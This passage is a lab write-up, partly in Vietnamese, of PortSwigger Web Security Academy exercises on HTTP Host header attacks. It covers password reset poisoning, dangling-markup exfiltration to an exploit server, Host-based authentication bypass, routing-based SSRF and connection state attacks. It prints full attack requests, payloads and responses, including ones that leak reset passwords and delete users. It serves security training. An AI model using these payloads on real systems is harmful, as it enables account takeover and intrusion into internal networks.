What is the Purpose of the HTTP Host Header?
The purpose of the HTTP Host header is to help identify which back-end component the client wants to communicate with. If requests didn't contain Host headers, or if the Host header was malformed in some way, this could lead to issues when routing incoming requests to the intended application.
Historically, this ambiguity didn't exist because each IP address would only host content for a single domain. Nowadays, largely due to the ever-growing trend for cloud-based solutions and outsourcing much of the related architecture, it is common for multiple websites and applications to be accessible at the same IP address. This approach has also increased in popularity partly as a result of IPv4 address exhaustion.
When multiple applications are accessible via the same IP address, this is most commonly a result of one of the following scenarios.
Virtual Hosting
One possible scenario is when a single web server hosts multiple websites or applications. This could be multiple websites with a single owner, but it is also possible for websites with different owners to be hosted on a single, shared platform. This is less common than it used to be, but still occurs with some cloud-based SaaS solutions.
In either case, although each of these distinct websites will have a different domain name, they all share a common IP address with the server. Websites hosted in this way on a single server are known as "virtual hosts".
To a normal user accessing the website, a virtual host is often indistinguishable from a website being hosted on its own dedicated server.
Routing Traffic via an Intermediary
Another common scenario is when websites are hosted on distinct back-end servers, but all traffic between the client and servers is routed through an intermediary system. This could be a simple load balancer or a reverse proxy server of some kind. This setup is especially prevalent in cases where clients access the website via a content delivery network (CDN).
In this case, even though the websites are hosted on separate back-end servers, all of their domain names resolve to a single IP address of the intermediary component. This presents some of the same challenges as virtual hosting because the reverse proxy or load balancer needs to know the appropriate back-end to which it should route each request.
Password Reset Poisoning
Lab: Password Reset Poisoning via Middleware
Danh sách các header có thể sử dụng:
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-forwarded: for=Collab;by=Collab;host=Collab
Để hoàn thành lab, có thể sử dụng header X-Forwarded-Host
:
POST /forgot-password HTTP/2
Host: 0a070087043340558092223400cf008f.web-security-academy.net
X-Forwarded-Host: exploit-0a4b00be04f640c9803d2116018400dc.exploit-server.net
Lab: Password Reset Poisoning via Dangling Markup
Khi sử dụng payload trực tiếp ở trên Host
header:
POST /forgot-password HTTP/2
Host: 0aba00550313b1eb80948569002700e5.web-security-academy.net'><
Thì nhận được response có status code là 504:
HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 223
<html><head><title>Server Error: Gateway Timeout</title></head><body><h1>Server Error: Gateway Timeout (3) connecting to 0aba00550313b1eb80948569002700e5.web-security-academy.net&apos;&gt;&lt;</h1></body></html>
Khi sử dụng 2 Host
header khác nhau thì sẽ không gửi được gói tin. Còn nếu sử dụng 2 Host
header giống nhau nhưng không phải là host hợp lệ thì cũng sẽ nhận được response có status code là 504 như trên.
Tuy nhiên, khi sử dụng payload ở phần port của Host
header thì lại gửi request thành công:
POST /forgot-password HTTP/2
Host: 0aba00550313b1eb80948569002700e5.web-security-academy.net:' x='
Email reset password có nội dung như sau:
Sent: 2025-04-09 12:37:18 +0000
From: no-reply@0aba00550313b1eb80948569002700e5.web-security-academy.net
To: wiener@exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net
Subject: Account recovery
<p>Hello!</p><p>Please <a href='https://0aba00550313b1eb80948569002700e5.web-security-academy.net:' x='/login'>click here</a> to login with your new password: 5K2wzmzanC</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Có thể thấy, chúng ta đã có thể chèn payload vào nội dung của email.
Sử dụng payload sau:
Host: 0aba00550313b1eb80948569002700e5.web-security-academy.net:'><img src="https://exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net/exploit?data=
Với https://exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net/exploit
là endpoint của exploit server.
Chú ý rằng ta sử dụng dấu `"` để có thể lấy được hết nội dung ở sau mà có chứa password.
Mặc dù nội dung của email không hiển thị đầy đủ:
Nội dung thô của email:
~~~html
<p>Hello!</p><p>Please <a href='https://0aba00550313b1eb80948569002700e5.web-security-academy.net:'></a><img src="https://exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net/exploit?data=/login'>click here</a> to login with your new password: C7Rn5qKMur</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
~~~
Nhưng ta vẫn có access log ở phía exploit server:
10.0.3.177 2025-04-09 12:56:06 +0000 "GET /exploit?data=/login'>click+here</a>+to+login+with+your+new+password:+C7Rn5qKMur</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1" 200
Thay đổi param username
trong request body thành carlos
và gửi request:
csrf=yuVZ2dfGR87xjcNTJuGgM0QsI3ZkdKoX&username=carlos
Nhận được access log như sau:
10.0.3.177 2025-04-09 12:59:16 +0000 "GET /exploit?data=/login'>click+here</a>+to+login+with+your+new+password:+Tu0FzAxjHC</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1" 200
Dùng password Tu0FzAxjHC
để đăng nhập với tài khoản carlos
nhằm hoàn thành lab.
Exploiting Classic Server-side Vulnerabilities
Every HTTP header is a potential vector for exploiting classic server-side vulnerabilities, and the Host header is no exception. For example, you should try the usual SQL injection probing techniques via the Host header. If the value of the header is passed into a SQL statement, this could be exploitable.
Accessing Restricted Functionality
Lab: Host Header Authentication Bypass
Khi thử truy cập trang admin thì nhận được response như sau:
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554
...
Admin interface only available to local users
...
Tuy nhiên, khi thay Host
header thành localhost
thì response có status code là 200:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3089
Ngoài ra, trong response cũng có endpoint dùng để xóa user:
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
Gửi request sau để hoàn thành lab:
GET /admin/delete?username=carlos HTTP/2
Host: localhost
Routing-based SSRF
Mô tả:
Classic SSRF vulnerabilities are usually based on XXE or exploitable business logic that sends HTTP requests to a URL derived from user-controllable input. Routing-based SSRF, on the other hand, relies on exploiting the intermediary components that are prevalent in many cloud-based architectures. This includes in-house load balancers and reverse proxies.
Although these components are deployed for different purposes, fundamentally, they receive requests and forward them to the appropriate back-end. If they are insecurely configured to forward requests based on an unvalidated Host header, they can be manipulated into misrouting requests to an arbitrary system of the attacker's choice.
These systems make fantastic targets. They sit in a privileged network position that allows them to receive requests directly from the public web, while also having access to much, if not all, of the internal network. This makes the Host header a powerful vector for SSRF attacks, potentially transforming a simple load balancer into a gateway to the entire internal network.
Cách exploit:
You can use Burp Collaborator to help identify these vulnerabilities. If you supply the domain of your Collaborator server in the Host header, and subsequently receive a DNS lookup from the target server or another in-path system, this indicates that you may be able to route requests to arbitrary domains.
Having confirmed that you can successfully manipulate an intermediary system to route your requests to an arbitrary public server, the next step is to see if you can exploit this behavior to access internal-only systems. To do this, you'll need to identify private IP addresses that are in use on the target's internal network. In addition to any IP addresses that are leaked by the application, you can also scan hostnames belonging to the company to see if any resolve to a private IP address. If all else fails, you can still identify valid IP addresses by simply brute-forcing standard private IP ranges, such as `192.168.0.0/16`.
Lab: Routing-based SSRF
Sử dụng hostname của Collaborator ở trong Host
header:
GET /admin HTTP/2
Host: kocp4xpewyut7ds2oaczgvgdh4nvblza.oastify.com
Thì nhận được response như sau:
HTTP/2 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 55
<html><body>x80d9zcqn5cdzo0gzwosatzjjgigz</body></html>
Điều này cho thấy ta có thể thực hiện tấn công routing-based SSRF.
Gửi request sau qua Intruder:
GET /admin HTTP/2
Host: 192.168.0.0
Với:
- Payload position là octet cuối (do mô tả lab đề cập rằng admin panel nằm trong dải
192.168.0.0/24
). - Loại tấn công là sniper attack
- Payload list các số từ 0 đến 255
- Resource pool là 10 threads
Tìm được private IP là 192.168.0.95
với response là:
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Gửi request đến /admin
thì nhận được HTML sau:
<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
<input required type="hidden" name="csrf" value="waRdotKjAqP0Nbh1Ab4Q2uPhLmXEAO7M">
<label>Username</label>
<input required type='text' name='username'>
<button class='button' type='submit'>Delete user</button>
</form>
Xây dựng request để xóa user carlos
:
POST /admin/delete HTTP/2
Host: 192.168.0.95
Cookie: session=JQiy6l3weC8GvOVqcPc1nzXH8kqFNQRc; _lab=46%7cMCwCFDXlfmydClyd24Yyv1lcfUod3HZWAhRV9eBtFjz%2b2IJAtm8nP9IO2ULC1Myqk4ADx8mbRQMKm18FngYvV3%2b3tLVseMxVUt9hwHltDXY3wFQ8OAdjZQ%2bcW%2fRzaI6jx7L2kBeAEm6oGDPKYYA3CloSERCiJYsb5cscMFz%2bjZ96m6E%3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0ab500040305d40981923ad50044006a.web-security-academy.net/
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
csrf=waRdotKjAqP0Nbh1Ab4Q2uPhLmXEAO7M&username=carlos
Gửi để hoàn thành lab.
Lab: SSRF via Flawed Request Parsing
Nếu gặp lỗi "Stream failed to close correctly" thì có thể chuyển request sang HTTP/1.1.
Tham khảo: [Lab: SSRF via flawed request parsing - Burp Suite User Forum](https://forum.portswigger.net/thread/lab-ssrf-via-flawed-request-parsing-deb2c35a)
Khi gửi request với Host
là payload của Burp Collaborator:
GET / HTTP/1.1
Host: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.com
Thì nhận được response sau:
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Content-Length: 109
<html><head><title>Client Error: Forbidden</title></head><body><h1>Client Error: Forbidden</h1></body></html>
Thử dùng 2 Host
header:
GET / HTTP/1.1
Host: 0a90000903a18ae081bc3ec8002800dc.web-security-academy.net
Host: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.com
Response vẫn là:
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Content-Length: 109
<html><head><title>Client Error: Forbidden</title></head><body><h1>Client Error: Forbidden</h1></body></html>
Trong quá trình test, ta cần dùng request có `Cookie` header.
Tham khảo: [Web cache poisoning via ambiguous requests - Burp Suite User Forum](https://forum.portswigger.net/thread/web-cache-poisoning-via-ambiguous-requests-2d8696a7)
Thêm vào cookie:
GET / HTTP/1.1
Host: 0a90000903a18ae081bc3ec8002800dc.web-security-academy.net
Host: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.com
Cookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
Response có sự thay đổi cho thấy rằng việc dùng 2 Host
header là không hợp lệ:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50
{"error":"Duplicate header names are not allowed"}
Thử dùng URL tuyệt đối:
GET https://0a90000903a18ae081bc3ec8002800dc.web-security-academy.net HTTP/1.1
Host: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.com
Cookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
Phản hồi cho thấy ta đã có thể gửi request đến Burp Collaborator:
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Connection: close
Content-Length: 55
<html><body>zxngod9s1jsgu2tz070ullzjjgugz</body></html>
Sử dụng Intruder và tìm được admin panel ở địa chỉ IP riêng tư là 192.168.0.24
. Gửi request sau để truy cập vào admin panel:
GET https://0a90000903a18ae081bc3ec8002800dc.web-security-academy.net/admin HTTP/1.1
Host: 192.168.0.24
Cookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
Admin panel có form sau dùng để xóa user:
<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
<input required type="hidden" name="csrf" value="fFqzevZnwJ8vB7RriKy9bE96WfUCGu9j">
<label>Username</label>
<input required type='text' name='username'>
<button class='button' type='submit'>Delete user</button>
</form>
Xây dựng POST request sau để xóa user carlos
nhằm hoàn thành lab:
POST https://0a90000903a18ae081bc3ec8002800dc.web-security-academy.net/admin/delete HTTP/1.1
Host: 192.168.0.24
Cookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://portswigger.net/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
csrf=fFqzevZnwJ8vB7RriKy9bE96WfUCGu9j&username=carlos
Connection State Attacks
Mô tả:
For performance reasons, many websites reuse connections for multiple request/response cycles with the same client. Poorly implemented HTTP servers sometimes work on the dangerous assumption that certain properties, such as the Host header, are identical for all HTTP/1.1 requests sent over the same connection. This may be true of requests sent by a browser, but isn't necessarily the case for a sequence of requests sent from Burp Repeater. This can lead to a number of potential issues.
Cách khai thác:
For example, you may occasionally encounter servers that only perform thorough validation on the first request they receive over a new connection. In this case, you can potentially bypass this validation by sending an innocent-looking initial request then following up with your malicious one down the same connection.
Lab: Host Validation Bypass via Connection State Attack
Thử gửi request với Host
header là payload của Collaborator:
GET / HTTP/1.1
Host: xrsmwhkd5u53w3k5u61egmifb6hx51tq.oastify.com
Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
Chú ý rằng ta cũng cần phải dùng `Cookie` header.
Thì thấy rằng ta có thể thực hiện SSRF:
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Keep-Alive: timeout=10
Content-Length: 55
<html><body>zxngod9s1jsgu2tz070ullzjjgwgz</body></html>
Tuy nhiên, khi gửi request đến địa chỉ IP riêng tư:
GET /admin HTTP/1.1
Host: 192.168.0.1
Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
Thì lại nhận được phản hồi sau:
HTTP/1.1 301 Moved Permanently
Location: https://0a96008b033777ff80a46c07005c0077.h1-web-security-academy.net/
Connection: close
Keep-Alive: timeout=10
Content-Length: 0
Điều này đúng với tất cả các private IP trong dãy 192.168.0.0/24
.
Thực hiện gửi 2 request trong cùng một TCP connection nhằm triển khai connection state attack:
GET /admin HTTP/1.1
Host: 0a96008b033777ff80a46c07005c0077.h1-web-security-academy.net
Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
GET /admin HTTP/1.1
Host: 192.168.0.1
Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
Phản hồi của request thứ nhất:
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=10
Content-Length: 11
"Not Found"
Phản hồi của request thứ hai cho thấy ta đã truy cập được admin panel tại IP là 192.168.0.1
:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=10
Content-Length: 2993
Phản hồi này có form sau:
<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
<input required type="hidden" name="csrf" value="SmVcprsrytBHqMVUSF9y7KgTZI0kPkcH"> <label>Username</label> <input required type="text" name="username">
<button class="button" type="submit">Delete user</button>
</form>
Sửa request thứ 2 lại như sau và gửi cả 2 request tương tự như trên để hoàn thành lab:
POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a96008b033777ff80a46c07005c0077.h1-web-security-academy.net/login
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
csrf=SmVcprsrytBHqMVUSF9y7KgTZI0kPkcH&username=carlos
SSRF via a Malformed Request Line
Custom proxies sometimes fail to validate the request line properly, which can allow you to supply unusual, malformed input with unfortunate results.
For example, a reverse proxy might take the path from the request line, prefix it with http://backend-server
, and route the request to that upstream URL. This works fine if the path starts with a /
character, but what if starts with an @
character instead?
GET @private-intranet/example HTTP/1.1
The resulting upstream URL will be http://backend-server@private-intranet/example
, which most HTTP libraries interpret as a request to access private-intranet
with the username backend-server
.